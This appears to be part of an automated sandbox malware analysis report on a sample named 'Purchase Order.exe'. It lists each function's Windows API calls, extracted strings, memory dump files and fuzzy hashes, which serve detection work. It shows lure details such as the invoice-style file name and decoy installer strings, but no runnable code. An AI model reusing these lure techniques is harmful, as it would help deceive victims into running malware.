Instruction ID: 4b90da896e4fa09681504a9dabf2ba00c57f91177066947fb67d52e8ca440c18
Opcode Fuzzy Hash: 14a97dc87043aa2e894c667cdbf79e2d841fd90f9686f850a1099e45bc3f86c8
Instruction Fuzzy Hash: FCA012324040009BCB014B90FE04C457F31A754300701C031E10180030C2310824FF09

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d70777c03fab58a6680eac8bb77f8d646d92531b9a9c42126c115ca3ec13432e
Instruction ID: 6696c5b565abb4b072559f1c40de02a1b67f072cada9199909c9bbabd3d4a8ec
Opcode Fuzzy Hash: d70777c03fab58a6680eac8bb77f8d646d92531b9a9c42126c115ca3ec13432e
Instruction Fuzzy Hash: 1CD05EB3B14141ABDB20EBB8BAC445E77E4EB403257304837E502E2091E6798A428618

Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39

Non-executed Functions

Function 00404A8D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404AA5
GetDlgItem.USER32(?,00000408), ref: 00404AB0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404AFA
LoadBitmapA.USER32(0000006E), ref: 00404B0D
SetWindowLongA.USER32(?,000000FC,00405084), ref: 00404B26
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404B3A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404B4C
SendMessageA.USER32(?,00001109,00000002), ref: 00404B62
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404B6E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404B80
DeleteObject.GDI32(00000000), ref: 00404B83
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404BAE
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404BBA
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C4F
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404C7A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C8E
GetWindowLongA.USER32(?,000000F0), ref: 00404CBD
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404CCB
ShowWindow.USER32(?,00000005), ref: 00404CDC
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404DD9
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404E3E
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404E53
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404E77
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404E97
ImageList_Destroy.COMCTL32(00000000), ref: 00404EAC
GlobalFree.KERNEL32(00000000), ref: 00404EBC
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404F35
SendMessageA.USER32(?,00001102,?,?), ref: 00404FDE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404FED
InvalidateRect.USER32(?,00000000,00000001), ref: 0040500D
ShowWindow.USER32(?,00000000), ref: 0040505B
GetDlgItem.USER32(?,000003FE), ref: 00405066
ShowWindow.USER32(00000000), ref: 0040506D

Strings

M, xrefs: 00404C36
N, xrefs: 00404D17
, xrefs: 00405045

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 83e2ede0a7d074a44b451b0b1dd27b036aaffd7360a27c1076ab9aa670ade9c5
Instruction ID: e0cc5522092fb32f5c2674b78011ac89e49f6c9f2dab24d514a8ff43177d9d20
Opcode Fuzzy Hash: 83e2ede0a7d074a44b451b0b1dd27b036aaffd7360a27c1076ab9aa670ade9c5
Instruction Fuzzy Hash: 1E025EB0900209AFEB209F94DC85AAE7BB5FB84315F10817AF611B62E1C7799D42DF58

Function 0040451A Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404569
SetWindowTextA.USER32(00000000,?), ref: 00404593
SHBrowseForFolderA.SHELL32(?,0041F108,?), ref: 00404644
CoTaskMemFree.OLE32(00000000), ref: 0040464F
lstrcmpiA.KERNEL32(Call,Nonbeneficial Setup: Installing), ref: 00404681
lstrcatA.KERNEL32(?,Call), ref: 0040468D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040469F

Part of subcall function 004056D1: GetDlgItemTextA.USER32(?,?,00000400,004046D6), ref: 004056E4

Part of subcall function 00406162: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Purchase Order.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061BA
Part of subcall function 00406162: CharNextA.USER32(?,?,?,00000000), ref: 004061C7
Part of subcall function 00406162: CharNextA.USER32(?,"C:\Users\user\Desktop\Purchase Order.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061CC
Part of subcall function 00406162: CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061DC

GetDiskFreeSpaceA.KERNEL32(0041ED00,?,?,0000040F,?,0041ED00,0041ED00,?,00000001,0041ED00,?,?,000003FB,?), ref: 0040475D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404778

Part of subcall function 004048D1: lstrlenA.KERNEL32(Nonbeneficial Setup: Installing,Nonbeneficial Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
Part of subcall function 004048D1: wsprintfA.USER32 ref: 00404977
Part of subcall function 004048D1: SetDlgItemTextA.USER32(?,Nonbeneficial Setup: Installing), ref: 0040498A

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously, xrefs: 0040466A
Call, xrefs: 0040467B, 00404680, 0040468B
Nonbeneficial Setup: Installing, xrefs: 00404617, 0040467A
A, xrefs: 0040463D

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously$Call$Nonbeneficial Setup: Installing
API String ID: 2624150263-2814887072
Opcode ID: aa897a388f026c859834b9177abdad11152a1d64c9f36690aee5ee8c86f27191
Instruction ID: 7ea719a0b93bcaca37b111b678a2b5d6f3f78fc0ed79788128ac85d93e839f9f
Opcode Fuzzy Hash: aa897a388f026c859834b9177abdad11152a1d64c9f36690aee5ee8c86f27191
Instruction Fuzzy Hash: D5A18EB1900209ABDB11AFA5CC45AAFB7B8EF85314F10843BF711B62D1D77C8A418F69

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNEL32(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 00404225 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004042B0
GetDlgItem.USER32(00000000,000003E8), ref: 004042C4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004042E2
GetSysColor.USER32(?), ref: 004042F3
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404302
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404311
lstrlenA.KERNEL32(?), ref: 00404314
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404323
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404338
GetDlgItem.USER32(?,0000040A), ref: 0040439A
SendMessageA.USER32(00000000), ref: 0040439D
GetDlgItem.USER32(?,000003E8), ref: 004043C8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404408
LoadCursorA.USER32(00000000,00007F02), ref: 00404417
SetCursor.USER32(00000000), ref: 00404420
ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,00000001), ref: 00404433
LoadCursorA.USER32(00000000,00007F00), ref: 00404440
SetCursor.USER32(00000000), ref: 00404443
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040446F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404483

Strings

Call, xrefs: 004043F3
N, xrefs: 004043B6
open, xrefs: 0040442B

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction ID: 93f755629d35b640548b5af6b7c61ab120d2ba211fed136cde477a70902604c8
Opcode Fuzzy Hash: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction Fuzzy Hash: 5D61A3B1A40209BFEB109F61DC45F6A7B69FB84714F10803AFB057A2D1C7B8A951CF99

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction ID: f6076547c65416f673289c9e9aa760257b54fe90aa12de16c0a46004740ece36
Opcode Fuzzy Hash: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction Fuzzy Hash: C2419B71804249AFCF058FA4CD459AFBBB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421AC0,NUL,?,00000000,?,00000000,00405DD3,?,?), ref: 00405C4F
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405DD3,?,?), ref: 00405C73
GetShortPathNameA.KERNEL32(?,00421AC0,00000400), ref: 00405C7C

Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

GetShortPathNameA.KERNEL32(00421EC0,00421EC0,00000400), ref: 00405C99
wsprintfA.USER32 ref: 00405CB7
GetFileSize.KERNEL32(00000000,00000000,00421EC0,C0000000,00000004,00421EC0,?,?,?,?,?), ref: 00405CF2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405D01
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D39
SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216C0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405D8F
GlobalFree.KERNEL32(00000000), ref: 00405DA0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405DA7

Part of subcall function 00405B6A: GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\Purchase Order.exe,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Strings

NUL, xrefs: 00405C49
%s=%s, xrefs: 00405CAD
[Rename], xrefs: 00405D21, 00405D33

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 13050e4631be9f4a8a8c31851d4856950631349ab05fbd5c9e4b7c65e501b528
Instruction ID: 58b8e60db813422e8a8f05baf12fe1cb7cc397f7baf35d3febd204dd1aeecf15
Opcode Fuzzy Hash: 13050e4631be9f4a8a8c31851d4856950631349ab05fbd5c9e4b7c65e501b528
Instruction Fuzzy Hash: D031C271A04B596BD2202B219D49F6B3A6CDF85754F18003BF901F62D2E67CA8018EAD

Function 00406162 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Purchase Order.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061BA
CharNextA.USER32(?,?,?,00000000), ref: 004061C7
CharNextA.USER32(?,"C:\Users\user\Desktop\Purchase Order.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061CC
CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061DC

Strings

"C:\Users\user\Desktop\Purchase Order.exe", xrefs: 0040619E
*?|<>/":, xrefs: 004061AA
C:\Users\user\AppData\Local\Temp\, xrefs: 00406163

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Purchase Order.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4040796691
Opcode ID: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction ID: 28f88d73301ddfe76a8902f897fcc58808f561dcfc6ac49559e28e986a88295b
Opcode Fuzzy Hash: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction Fuzzy Hash: AF11C8718083912DFB3216644C44B777F998F9A760F19007BE9D6762C3C67C5C53826D

Function 00404143 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404160
GetSysColor.USER32(00000000), ref: 0040417C
SetTextColor.GDI32(?,00000000), ref: 00404188
SetBkMode.GDI32(?,?), ref: 00404194
GetSysColor.USER32(?), ref: 004041A7
SetBkColor.GDI32(?,?), ref: 004041B7
DeleteObject.GDI32(?), ref: 004041D1
CreateBrushIndirect.GDI32(?), ref: 004041DB

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 7122de99037e03f190bb62226e04253736cb74e6c142f140589d3e5d77d1f23d
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: DB21A4B5804704ABCB219F78DD08B5BBBF8AF41714F048629E995E62E0C734E944CB55

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B5
GlobalFree.KERNEL32(00000000), ref: 100024EF

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

